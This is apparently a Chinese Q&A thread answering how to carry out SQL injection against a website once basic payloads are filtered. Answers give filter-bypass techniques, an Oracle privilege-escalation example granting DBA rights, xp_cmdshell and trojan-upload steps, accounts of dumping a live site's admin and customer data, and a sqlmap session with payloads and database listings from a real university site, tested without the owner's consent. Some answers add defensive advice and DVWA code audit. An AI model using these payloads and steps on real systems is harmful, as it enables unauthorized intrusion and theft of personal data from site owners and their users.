如何對一個網站進行SQL注入攻擊?

加個"或者1=1 2=2這種基本的方式基本都被屏蔽了,修改id希望查到資料庫信息也被禁了,這樣情況下有什麼高端方法可以進行SQL注入攻擊。


有本書叫做《SQL注入攻擊與防禦》,第二版已出,有錢就買,缺錢就下載

還有本書叫做《黑客攻防技術寶典 WEB實戰篇》,不過對於注入只是用了一章來講解

以上兩本書很好了

工具也需要,沒啥必要鄙視工具的,sqlmap,burpsuite,hackbar(firefox插件)這三個工具很好了

玩得雖爽,可不要過火哦!祝你玩得愉快


白帽子挖洞—SQL注入篇

0x00介紹

SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。

對於初學者而言,找漏洞最好是基於白盒審計進行,所謂白盒審計可以簡單地理解為就是看著代碼找漏洞,當然了,在web方面的代碼審計可沒想像的那麼輕鬆,不會像C語言中很經典的溢出,先定義一個buffer,然後用一個gets()函數直接獲取內容,這麼簡單的溢出,泥萌也太小瞧程序媛/猿了。在web方面的代碼審計,感謝偉大的社會主義社會,我國大部分的網站都是php建的(畫外音:php是世界是最好的語言,哈哈),所以大多數情況下我們都是審計php代碼,php函數又那麼多,相互之間互相調用,使得代碼審計不容易,當然了,也不難,只要掌握了技巧,結合經驗,就能找出漏洞所在。在0x04部分小表弟會給出一些自己的經驗。

在正式挖洞前,我們先看看DVWA給出的四種級別的SQL注入的源代碼。

0x01基於dvwa的代碼審計

DVWA 的代碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的代碼,接觸到入門級別的代碼審計的內容。

DVWA使用界面

SQL注入(SQL Injection)

在左下角的DVWA Security可以調節難度係數,即low,medium,high,impossible選中後點擊submit提交即可。

點擊左下角view source可以看到源代碼,方便進行代碼審計

我們可以看到四種級別的代碼分別如下所示:

代碼:

低級(low)

分析:

關鍵語句:

$id = $_REQUEST[ "id" ];

// Check database

$query = "SELECT first_name, last_name FROM users WHERE user_id = "$id";";

可以看到:

Low級別的代碼對來自客戶端的參數id沒有進行任何的檢查與過濾,存在明顯的SQL注入。

中級(medium)

分析:

關鍵代碼:

$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM
users WHERE user_id = $id;";

可以看到:

Medium級別的代碼利用mysql_real_escape_string函數對特殊符號x00,
,
,,』,」,x1a進行轉義,在一定程度上控制了用戶的輸入

高級(high)

分析:

關鍵語句:

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id
LIMIT 1

可以看到:

代碼希望通過LIMIT 1來控制使得只輸出一個查詢結果

不可能(Impossible)

分析:

關鍵代碼:

$data = $db-&>prepare( "SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;" );

$data-&>bindParam( ":id", $id, PDO::PARAM_INT );

可以看到:

代碼中限制返回的查詢結果數量為一時,才會輸出,防止了大量數據的泄露,同時採用了PDO技術,隔離了代碼與數據,使得用戶輸入的數據不再被當作代碼執行,採用這種方案,杜絕了SQL注入漏洞的發生

0x02挖掘漏洞

註:

1.接下來的過程中會大量用到sqlmap,部分站點的漏洞將直接以sqlmap的形式給出。所以建議小夥伴先去熟悉下sqlmap。

2. 以下提交的漏洞均已被廠家修復,小夥伴們就不要想搞事情了

3.本文展現的漏洞在測試前已獲授權,請小夥伴們勿非法測試

先來枚有web頁面的漏洞:

存在漏洞的頁面

掃目錄時發現該url下存在某事件型漏洞

採用某位大神的中轉腳本:

通過sqlmap神器成功挖到漏洞

拿到的資料庫

Sqlmap測試時截圖

總結:第一枚漏洞主要是採用某事件型漏洞結合sqlmap挖到的,難度相當於DVWA中的Medium級別

什麼?沒有數據看著不過癮?你這是要搞事情啊大兄弟!好吧,再來一枚數據量大的

第二枚漏洞:

測試時沒有截web的圖,只有sqlmap,將就著看吧,看看

存在漏洞的站點

Sqlmap掃一發

加個—tables繼續

就拿上張圖的mallbuilder來開刀吧

繼續—current-db

紅色打碼的部分是手機號或真實姓名或郵箱號,過於敏感就打碼了,可以看到圖中下面password就是密碼編碼加密後的字元串

拿到用戶名和密碼後我們可以登陸後台

紅色打碼部分為收貨人姓名及手機號,有一條還包括收貨地址

紅色打碼部分為手機號

可以看到後台所有的功能我們都是可以使用的,就不繼續了

總結:通過簡單的sqlmap命令指定特定的表、資料庫來「脫褲」,拿到後台登陸帳號密碼,進而進行進一步的操作。此站點的代碼強度相當於DVWA中的Medium級別.

0x03資源推薦

代碼審計方面可以使用法師尹毅(Seay)的源代碼審計系統

DVWA方面的實際操作可以登陸合天網安實驗室進行練習,連接如下:

http://www.hetianlab.com/cour.do?w=1c=C172.19.104.182015061009315500001

SQL注入時的神器SQLMAP在合天網安實驗室也有相應的課程,連接如下:

http://www.hetianlab.com/cour.do?w=1amp;c=C172.19.104.182015011916013600001

抓包改包看參數的神器burpsuite在合天網安實驗也有相應課程,連接如下:

http://www.hetianlab.com/cour.do?w=1amp;c=C172.19.104.182014112610353900001

0x04經驗心得

SQL注入漏洞挖掘的總體的思路:

1. SQL注入漏洞的判斷,即尋找注入點

2. 判斷後台資料庫類型

3. 確定XP_CMDSHELL可執行情況;若當前連接數據的帳號具有SA許可權(這是SQL系統中的最高許可權),且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過幾種方法完全控制,也就完成了整個注入過程,否則繼續:

1. 發現WEB虛擬目錄

2. 上傳ASP木馬;

3. 得到管理員許可權

了解了思路,在實際挖洞的過程中,常常會碰到需要繞過的情形,針對這種情況,表弟給大家提供了常用的繞過方法

一、引號繞過

會使用到引號的地方是在於最後的where子句中。如下面的一條sql語句,這條語句就是一個簡單的用來查選得到users表中所有欄位的一條語句。

select column_name from information_schema.tables where

table_name="users"

這個時候如果引號被過濾了,那麼上面的where子句就無法使用了。那麼遇到這樣的問題就要使用十六進位來處理這個問題了。

users的十六進位的字元串是7573657273。那麼最後的sql語句就變為了:

select column_name from information_schema.tables

where table_name=0x757365727

二、逗號繞過

在使用盲注的時候,需要使用到substr() ,mid() ,limit。這些子句方法都需要使用到逗號。對於substr()和mid()這兩個方法可以使用from to的方式來解決。

select substr(database(0 from 1 for 1);

select mid(database(0 from 1 for 1);

對於limit可以使用offset來繞過

select * from news limit 0,1

# 等價於下面這條SQL語句

select * from news limit 1 offset 0

三、比較符(&<,&>)繞過

同樣是在使用盲注的時候,在使用二分查找的時候需要使用到比較操作符來進行查找。如果無法使用比較操作符,那麼就需要使用到greatest來進行繞過了。

最常見的一個盲注的sql語句。

select * from users where id=1 and

ascii(substr(database(),0,1))&>64

此時如果比較操作符被過濾,上面的盲注語句則無法使用,那麼就可以使用greatest來代替比較操作符了。greatest(n1,n2,n3,等)函數返回輸入參數(n1,n2,n3,等)的最大值

那麼上面的這條sql語句可以使用greatest變為如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

0x05防護措施

1、解決SQL注入漏洞的關鍵是對所有來自用戶輸入的數據進行嚴格檢查、對資料庫配置使用最小許可權原則所有的查詢語句都使用資料庫提供的參數化查詢介面,參數化的語句使用參數而不是將用戶輸入變數嵌入到SQL語句中。避免網站顯示SQL錯誤信息,比如類型錯誤、欄位不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。

2、對進入資料庫的特殊字元(""&<&>*;等)進行轉義處理,或編碼轉換。嚴格限制網站用戶的資料庫的操作許可權,給此用戶提供僅僅能夠滿足其工作的許可權,從而最大限度的減少注入攻擊對資料庫的危害。

3、數據長度應該嚴格規定,能在一定程度上防止比較長的SQL注入語句無法正確執行。確認每種數據的類型,比如數字型的數據就必須是數字,資料庫中的存儲欄位必須對應為int型。 網站每個數據層的編碼統一,建議全部使用UTF-8編碼,上下層編碼不一致有可能導致一些過濾模型被繞過

以上僅為個人觀點,歡迎小夥伴們提出意見討論


1.POST注入,通用防注入一般限制get,但是有時候不限制post或者限制的很少,這時候你就可以試下post注入,比如登錄框、搜索框、投票框這類的。另外,在asp中post已被發揚光大,程序員喜歡用receive來接受數據,這就造成了很多時候get傳遞的參數通過post/cookie也能傳遞,這時如果恰好防注入程序只限制了get,因此post注入不解釋

2.cookie注入,原理同post注入,繞過相當多通用防注入

3.二次注入,第一次注入的數據可能不會有效,但是如果將來能在某個頁面裡面被程序處理呢?注入來了……

4.csrf,適合後台地址已知並且存在已知0day,可以試試用csrf劫持管理員來進行操作(這招其實不屬於sql注入了)

5.打碎關鍵字,比如過濾select,我可以用sel/**/ect來繞過,這招多見於mysql

6.有時候也可以sELeCT這樣大小寫混淆繞過

7.用chr對sql語句編碼進行繞過

8.如果等於號不好使,可以試試大於號或者小於號,如果and不好使可以試試or,這樣等價替換

9.多來幾個關鍵字確定是什麼防注入程序,直接猜測源碼或者根據報錯關鍵字(如"非法操作,ip地址已被記錄")把源碼搞下來研究

10.記錄注入者ip和語句並寫入文件或資料庫,然而資料庫恰好是asp的,插馬秒殺


一. 背景

資料庫憑藉其強大的數據存儲能力和卓越的數據處理性能,在各行各業的信息化建設中發揮著關鍵的作用。隨著資料庫在各行業的大規模應用,數據泄露事件也頻繁發生,這就使資料庫安全問題也日益凸顯,逐漸變成用戶越來越擔心的問題。雖然資料庫廠商已經做了許多有效的措施來盡量解決資料庫存在的安全問題,但至今為止資料庫的安全漏洞仍然不斷增加。下圖為近5年資料庫漏洞數量圖。

在資料庫漏洞中最為常見的漏洞類型是SQL注入漏洞。資料庫安全專家結合多年的實踐結果總結出了資料庫注入的分類分享給大家,以便大家對SQL注入型漏洞有一個更加全面的了解。

SQL注入漏洞不僅出現在WEB端,也出現在資料庫的自定義或標準庫的存儲過程、函數、觸發器中。資料庫自身的SQL注入漏洞比WEB端的注入漏洞對資料庫的威脅性更大。本文對SQL注入的分類是從資料庫的角度來劃分,不考慮WEB端的角度,這兩者在分類上有著不同的角度。

首先在解釋不同的資料庫SQL注入漏洞之前先簡要說明一下資料庫攻擊者能夠進行SQL注入的主要原理:SQL注入漏洞是用戶在輸入中混入了程序命令。最直接的例子就是攻擊者在正常的 Web 頁面中把自己的 SQL 代碼通過用戶輸入傳輸到相應的應用程序中,從而執行一些非授權的 SQL 代碼,以達到修改、竊取或者破壞資料庫信息的目的。SQL 注入攻擊甚至可以幫組攻擊者繞過用戶認證機制,使其可以完全的操控遠程伺服器上的資料庫。如果應用程序使用一些用戶輸入的數據來構造動態的SQL語句去訪問資料庫,將可能遭受到 SQL 注入攻擊。同樣的如果在代碼中使用了存儲過程,並且這些存儲過程缺乏對用戶輸入的合理限制也很容易發生 SQL 注入。

二. SQL注入分類1) 注入途徑分類

SQL注入漏洞按照注入的物理途徑可以分成兩大類:通過WEB端對資料庫進行注入攻擊和直接訪問資料庫進行注入攻擊。

直接訪問資料庫進行注入攻擊是以資料庫用戶的身份直接連接資料庫進行SQL注入攻擊。在這種攻擊方式中,攻擊者可以通過SQL注入來執行SQL語句從而提高用戶許可權或者越權執行。而那些在PL/SQL程序中在給用戶授權的時候沒有使用authid current_user進行定義的存儲過程、函數、觸發器、程序塊將更容易受到SQL注入攻擊。

通過WEB應用程序的用戶對資料庫進行連接並進行SQL注入攻擊。在這種類型的SQL注入攻擊中,攻擊者多採用拼接語句的方法來改變查詢的內容。獲取該賬號許可權下的全部信息。

一些高級的攻擊手段往往結合這兩種方式,先利用WEB應用程序上的SQL注入漏洞獲取資料庫和資料庫所在伺服器的基本信息。再利用資料庫自身SQL注入漏洞對獲取的資料庫賬號進行提權、越權等操作已達到對資料庫進行破壞或者獲取敏感信息的目的。

2) 注入方式分類

根據入侵方式,針對資料庫的SQL注入攻擊可以分為四種類型,分別是SQL Manipulation、Code Injection 、Function Call Injection以及Buffer Overflows 。前兩種SQL注入攻擊較為常見,多出現在WEB端的SQL注入上,而後兩種攻擊類型是直接針對資料庫自身的攻擊方式,所以對資料庫的安全威脅更加致命。

1.針對 SQL 操作的注入攻擊(SQL manipulation)是在所有的 SQL 注入攻擊類型中最常見的一種類型。這種攻擊的原理在於攻擊者會試圖在已經存在的SQL 語句中通過集合運算符(SET Operator)比如 UNION、INTERSECT 或者MINUS 來添加一些內容在 WHERE 子句中使其功能產生變化。當然還有可能會有其他的很多變化存在。最經典的 SQL manipulation 攻擊就存在於登錄驗證過程中。一個簡單的 Web 應用程序就可以通過執行以下的 SQL 語句來檢查用戶認證是否有返回值:

SELECT * FROM users WHERE username = "admin" and PASSWORD = "guess"而攻擊者就可以嘗試修改 SQL 語句使其變為:
SELECT * FROM users WHERE username = "admin" and PASSWORD = "xxxx"or "a" = "a"

通過以上對於 WHERE 子句的修改操作可以使用戶登錄的判定恆為真,這樣攻擊者便繞過了用戶驗證獲得了進入後台的權利。集合運算符 UNION 也常常被用在 SQL 注入攻擊中,其最主要的目的就是通過操作 SQL 語句來從另外一個表中返回某些行。一個WEB 窗體可以執行以下SQL 語句從一個存在的 product 表中返回一個需要的表單:

SELECT product_name FROM all_products WHERE product_name like "%ddd%"

而攻擊者可以修改 SQL 語句使其變為:

SELECT product_name FROM all_products WHERE product_name like "%ddd%" UNION SELECT username,password FROM dba_users WHERE username like 『%』

這種情況下在執行完這個SQL語句以後所返回的web表單中的結果就會包括所有的產品名以及所有的資料庫用戶名和密碼(當然需要鏈接賬號具備查詢表dba_users許可權)。

2.代碼注入攻擊(CODE INJECTION)就是嘗試在已經存在的 SQL 語句中添加額外的SQL語句或者命令。這種類型的攻擊會經常的被應用在微軟的SQLServer 應用程序里。在 SQL Server 中EXECUTE 語句經常會成為 這種SQL 注入攻擊的目標。雖然Oracle 這類資料庫中沒有相應的語句,在 PL/SQL 和 Java中,也不支持單個資料庫的多條SQL 語句的請求,但一些程序語言或者 API 可能允許多個 SQL 語句同時執行。PL/SQL 和Java 應用程序可以動態的執行那些容易受到代碼注入攻擊的匿名 PL/SQL 塊。所以在特定情況下代碼注入攻擊對即便不支持多SQL請求的資料庫依舊有效。

3.函數調用注入(FUNCTION CALL INJECTION)是因為在資料庫函數或者自定義函數中存在某些漏洞,攻擊者對問題函數進行 SQL 語句注入從而使此函數可以執行非預期功能而達到攻擊者的目的。嚴格講不光資料庫中的函數可能存在這些漏洞存儲過程、觸發器等也存在類似漏洞。這些函數調用可以被用來在資料庫中生成數據或者系統調用。

以Oracle為例,Oracle 資料庫允許自定義函數或者包中的函數作為 SQL 語句的一部分來執行。同時 Oracle 資料庫在 175 個標準資料庫包中提供了 1000 多個函數,其中有一小部分有可能遭到 SQL 注入攻擊,而那些用作網路通信的函數同樣可以被攻擊者利用。任何的自定義函數或者那些存在於自定義包中的函數都可以在 SQL語句中執行。當函數作為 SQL SELECT 語句中的一部分來執行的時候對於資料庫 來 說 不 會 造 成 任 何 變 化 除 非 這 個 函 數 被 標 記 成 了 「PRAGMATRANSACTION」。只有極少數的標準資料庫函數會被自動執行,而那些在插入、更新、刪除語句中執行的函數會對資料庫中的數據進行修改。當攻擊者使用那些有漏洞的標準

Oracle 函數的時候就可以將資料庫中的信息發送到遠程計算機或者在其他的資料庫伺服器執行攻擊。許多基於 Oracle 的應用程序都可能會使用那些有漏洞的資料庫軟體包,而這些自定義的軟體包里就有可能會包括那些可以修改密碼或執行那些敏感的應用程序的函數。

對於函數調用注入攻擊來說,任何動態生成的 SQL 語句都是脆弱的,即使是最簡單的 SQL 語句都可以被攻擊者利用。

例如創建存儲過程test說明

用DBA許可權建立自定義存儲過程:

create or replace procedure test (putin varchar2) as
type c_type is ref cursor;
cv c_type;
buffer varchar2(200);
begin
dbms_output.enable(1000000);
open cv for 『select object_name from all_objects where owner =』』』||putin||』』』and object_type=』』library』』』』;

close cv;
End;
/

這個 SQL 語句不容易遭到其它類型的注入攻擊,但是卻很容易遭受到函數注入攻擊。這是因為在這個函數中缺乏對輸入變數的約束。攻擊者可能會輸入的是一個想要執行的命令。例如 grant dba to public;

低許可權用戶構造一個含有想要執行的命令的函數:

Create or replace function get_dba return varchar authid current_user is
Pragma autonomous_transaction;
Begin
Execute immediate 『grant dba to scott』;
End;
/

在這個例子中本來存儲過程test是用來查詢用戶所擁有的庫的,但是為了方便其他用戶使用test的執行,這一許可權被賦予了所有用戶,導致任何用戶都可以執行test存儲過程。但是函數中由於採用了定義者許可權定義test,所以造成所有用戶在執行test的時候都獲得了DBA許可權。

這一過程是低許可權用戶創建注入函數get_dba。通過test把任意低許可權賬號提權到DBA許可權。

Exec sys.test(『AAAA』||username.get_dba()—『);

至此低許可權用戶通過漏洞把自身提權到DBA許可權可以對整個資料庫進行非法控制。資料庫廠商的解決方案一般是通過刪除存在漏洞函數的public執行許可權來解決

4.許多的標準資料庫函數都很容易受到緩衝區溢出(BUFFER OVER FLOWS)攻擊,這是因為只需要對那些沒有及時打補丁的資料庫做 SQL 注入攻擊就可以很容易利用到緩衝區溢出漏洞。緩衝區溢出漏洞危害很大,往往最終會造成攻擊者直接控制資料庫或資料庫所在操作系統。

以Oracle為例,在某些版本的標準資料庫軟體包和標準資料庫函數中:

TZ_OFFSET,TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, andNUMTODSINTERVAL 等函數存在緩衝區溢出漏洞。而要使用這些存在緩衝區溢出漏洞的標準資料庫包和函數來做緩衝區溢出漏洞攻擊就需要利用到之前所介紹的函數注入的方法;當攻擊者通過 SQL 注入攻擊來利用緩衝區溢出漏洞的時候,就可以實現遠程連接操作系統。此外,一些應用程序和 WEB 伺服器都不能夠正常處理由於緩衝區溢出所造成的資料庫連接中斷;通常,Web 進程將會被掛起,甚至導致發生拒絕服務攻擊。

三. 防護SQL注入

資料庫廠商針對SQL注入進行了大量的工作,其中以oracle為例在Oracle推出10G r2的時候開發了一個dbms_assert補丁包。這個補丁包主要被用來修復sql注入漏洞,加強對用戶輸入的信息的防守。修復了大量存在的資料庫漏洞。但並不能呢徹底解決資料庫自身的所有SQL注入漏洞。根據測試DBMS_ASSERT對二階SQL注入和跨語言傳參缺乏有效防守。

資料庫廠商雖然一直在努力,但受限於資料庫應用環境和場景。很多時候資料庫不能及時進行補丁升級,所以很多時候資料庫威脅依然存在。資料庫安全專家建議廣大資料庫用戶,除了及時更新資料庫補丁的同時,必要的時候採用第三方產品來加固資料庫的安全。

這裡資料庫安全專家給出兩種資料庫加固思路:

1.從信息的源頭著手,對敏感信息進行加密。即便被攻擊者獲取到敏感信息,也保障信息是全密文,攻擊者無法獲得有價值的信息;

2.從資料庫安全加固的角度。資料庫防火牆可以有效防護來自外部的攻擊行為。專業的資料庫防火牆應該是基於資料庫協議精確解析,通過對SQL語法/詞法中存在的風險進行精確識別,擁有資料庫虛擬補丁技術,能夠進行細粒度許可權管控,行為審計、監測分析等核心功能,以防止攻擊者對資料庫進行入侵。發揮保護資料庫安全的作用。

相信以上無論哪種方式都會使用戶資料庫中的數據更加安全。

關注微信:phpgod(php技術大全),更多web技術分享。

http://weixin.qq.com/r/0kihuQLEI19crUba9x3A (二維碼自動識別)


演示一個實際例子,注入站點是烏雲上提交的一個SQL注入的漏洞,然後廠商屌爆了表示不用在意這些細節,於是我很無恥的拿來做了下試驗。(為了保護隱私,真實URL已去除)

--------------------------------------------------------

SQL注入點可以自己嘗試或用SQL注入漏洞掃描工具去尋找,這裡用大名鼎鼎的sqlmap演示一個現成的案例。

1.漏洞試探

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user"s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:16:27

[12:16:27] [INFO] resuming back-end DBMS "microsoft sql server"
[12:16:27] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=87" AND 8841=8841 AND "bZbc"="bZbc

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=87"; WAITFOR DELAY "0:0:5"--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=87" WAITFOR DELAY "0:0:5"--
---
[12:16:27] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:16:27] [INFO] fetched data logged to text files under "/usr/share/sqlmap/output/xxx.njnu.edu.cn"

[*] shutting down at 12:16:27

可以看到這個站點是有SQL注入點的,連繫統/應用/sql類型都爆出來了。接下來我們來探索一下這個資料庫里有些什麼。

2.查看資料庫

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 --dbs

...
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=87" AND 8841=8841 AND "bZbc"="bZbc

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=87"; WAITFOR DELAY "0:0:5"--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=87" WAITFOR DELAY "0:0:5"--
---
[12:16:59] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:16:59] [INFO] fetching database names
[12:16:59] [INFO] fetching number of databases
[12:16:59] [INFO] resumed: 47
[12:16:59] [INFO] resumed: BZBB_lw
[12:16:59] [INFO] resumed: ChualgXinNS
[12:16:59] [INFO] resumed: db_dike
[12:16:59] [INFO] resumed: db_dndqjzw
[12:16:59] [INFO] resumed: db_njsdjw
[12:16:59] [INFO] resumed: db_njsfsy
[12:16:59] [INFO] resumed: db_nsddlhj
[12:16:59] [INFO] resumed: db_nsdhgxn
[12:16:59] [INFO] resumed: db_nsdmba
[12:16:59] [INFO] resumed: db_nsdMediaC
[12:16:59] [INFO] resumed: db_nsdscw
[12:16:59] [INFO] resumed: db_nsdsw
[12:16:59] [INFO] resumed: db_nsdswyy
[12:16:59] [INFO] resumed: db_nsdswzy
[12:16:59] [INFO] resumed: db_nyspjc
[12:16:59] [INFO] resumed: db_sdjxjy
[12:16:59] [INFO] resumed: db_spaqjc
[12:16:59] [INFO] resumed: JiaoCai
[12:16:59] [INFO] resumed: maste@
[12:16:59] [INFO] resumed: MBA
[12:16:59] [INFO] resumed: model
[12:16:59] [INFO] resumed: msdb
[12:16:59] [INFO] resumed: njnulab
[12:16:59] [INFO] resumed: njnupj
[12:16:59] [INFO] resumed: nju
[12:16:59] [INFO] resumed: nju2222
[12:16:59] [INFO] resumed: njuold
[12:16:59] [INFO] resumed: njupj2012
[12:16:59] [INFO] resumed: Northwind
[12:16:59] [INFO] resumed: NSD_ApplicationChemical
[12:16:59] [INFO] resumed: NSD_Cnooc
[12:16:59] [INFO] resumed: NSD_ElectricalEngineering
[12:16:59] [INFO] resumed: NSD_ElectronicInformation
[12:16:59] [INFO] resumed: NSD_TeacherSkills
[12:16:59] [INFO] resumed: NSD_TeachingTeam
[12:16:59] [INFO] resumed: nsddky_sy
[12:16:59] [INFO] resumed: nsdsfjdzx
[12:16:59] [INFO] resumed: nsdsfjdzxnew
[12:16:59] [INFO] resumed: nsglxt
[12:16:59] [INFO] resumed: NSHuaKe
[12:16:59] [INFO] resumed: NSXinLiXue
[12:16:59] [INFO] resumed: NY_JG
[12:16:59] [INFO] resumed: pubs
[12:16:59] [INFO] resumed: ShangXueYuannew
[12:16:59] [INFO] resumed: tempdb
[12:16:59] [INFO] resumed: zhongxin
[12:16:59] [INFO] resumed: zhongxinold
available databases [47]:
[*] BZBB_lw
[*] ChualgXinNS
[*] db_dike
[*] db_dndqjzw
[*] db_njsdjw
[*] db_njsfsy
[*] db_nsddlhj
[*] db_nsdhgxn
[*] db_nsdmba
[*] db_nsdMediaC
[*] db_nsdscw
[*] db_nsdsw
[*] db_nsdswyy
[*] db_nsdswzy
[*] db_nyspjc
[*] db_sdjxjy
[*] db_spaqjc
[*] JiaoCai
[*] maste@
[*] MBA
[*] model
[*] msdb
[*] njnulab
[*] njnupj
[*] nju
[*] nju2222
[*] njuold
[*] njupj2012
[*] Northwind
[*] NSD_ApplicationChemical
[*] NSD_Cnooc
[*] NSD_ElectricalEngineering
[*] NSD_ElectronicInformation
[*] NSD_TeacherSkills
[*] NSD_TeachingTeam
[*] nsddky_sy
[*] nsdsfjdzx
[*] nsdsfjdzxnew
[*] nsglxt
[*] NSHuaKe
[*] NSXinLiXue
[*] NY_JG
[*] pubs
[*] ShangXueYuannew
[*] tempdb
[*] zhongxin
[*] zhongxinold

[12:16:59] [INFO] fetched data logged to text files under "/usr/share/sqlmap/output/xxx.njnu.edu.cn"

[*] shutting down at 12:16:59

3.省略部分日誌,可以看到所有的資料庫都已經找到了,接下來可以查看具體的表。

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D JiaoCai --tables --threads 5

...

[12:18:44] [INFO] resuming back-end DBMS "microsoft sql server"
[12:18:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=87" AND 8841=8841 AND "bZbc"="bZbc

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=87"; WAITFOR DELAY "0:0:5"--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=87" WAITFOR DELAY "0:0:5"--
---
[12:18:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:18:45] [INFO] fetching tables for database: JiaoCai
[12:18:45] [INFO] fetching number of tables for database "JiaoCai"
[12:18:45] [WARNING] running in a single-thread mode. Please consider usage of option "--threads" for faster data retrieval
[12:18:45] [INFO] retrieved:
[12:18:46] [WARNING] reflective value(s) found and filtering out
23
[12:18:58] [INFO] retrieved: dbo.dtproperties
[12:21:19] [INFO] retrieved: dbo.sysconstraints
[12:23:12] [INFO] retrieved: dbo.syssegments
[12:24:48] [INFO] retrieved: dbo.T_BuildYxJc
[12:28:11] [INFO] retrieved: dbo.T_BuildZdJc
[12:30:01] [INFO] retrieved: dbo.T_CanYu
[12:30:44] [INFO] retrieved: dbo.T_EndDate
[12:31:44] [INFO] retrieved: dbo.T_G_BuildYxJc
[12:33:25] [INFO] retrieved: dbo.T_G_Bu
[12:34:13] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[12:34:44] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
ildZdJc
[12:35:31] [INFO] retrieved: dbo.T_G_Ca
[12:37:51] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
nYu
[12:38:58] [INFO] retrieved: dbo.T_G_EndDate
[12:40:49] [INFO] retrieved: dbo.T_G_JiaoCai
[12:42:38] [INFO] retrieved: dbo.T_G_News
[12:43:17] [INFO] retrieved: dbo.T_G_User
[12:45:51] [INFO] retrieved: dbo.T_G_XueYuan
[12:47:55] [INFO] retrieved: dbo.T_G_ZhuanYe
[12:49:35] [INFO] retrieved: dbo.T_G_ZyToJc
[12:50:48] [INFO] retrieved: dbo.T_JiaoCai
[12:52:08] [INFO] retrieved: dbo.T_News
[12:53:21] [INFO] retrieved: dbo.T_U
[12:55:32] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
ser
[12:55:55] [INFO] retrieved: dbo.T_XueYuan
[12:56:43] [INFO] retrieved: dbo.T_ZhuanYe
[12:59:59] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[13:00:05] [INFO] retrieved: dbo.T_ZyToJc
Database: JiaoCai
[23 tables]
+----------------+
| T_BuildYxJc |
| T_BuildZdJc |
| T_CanYu |
| T_EndDate |
| T_G_BuildYxJc |
| T_G_BuildZdJc |
| T_G_CanYu |
| T_G_EndDate |
| T_G_JiaoCai |
| T_G_News |
| T_G_User |
| T_G_XueYuan |
| T_G_ZhuanYe |
| T_G_ZyToJc |
| T_JiaoCai |
| T_News |
| T_User |
| T_XueYuan |
| T_ZhuanYe |
| T_ZyToJc |
| dtproperties |
| sysconstraints |
| syssegments |
+----------------+

[13:01:44] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1473 times
[13:01:44] [INFO] fetched data logged to text files under "/usr/share/sqlmap/output/xxx.njnu.edu.cn"

[*] shutting down at 13:01:44

4.找到自己想要的表,如果你找到了存放user和passwd的表,那麼你就可以後台登錄他們的管理系統了。

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew -T T_User --columns --threads 5

...
HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=87" AND 8841=8841 AND "bZbc"="bZbc

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=87"; WAITFOR DELAY "0:0:5"--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=87" WAITFOR DELAY "0:0:5"--
---
[13:00:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
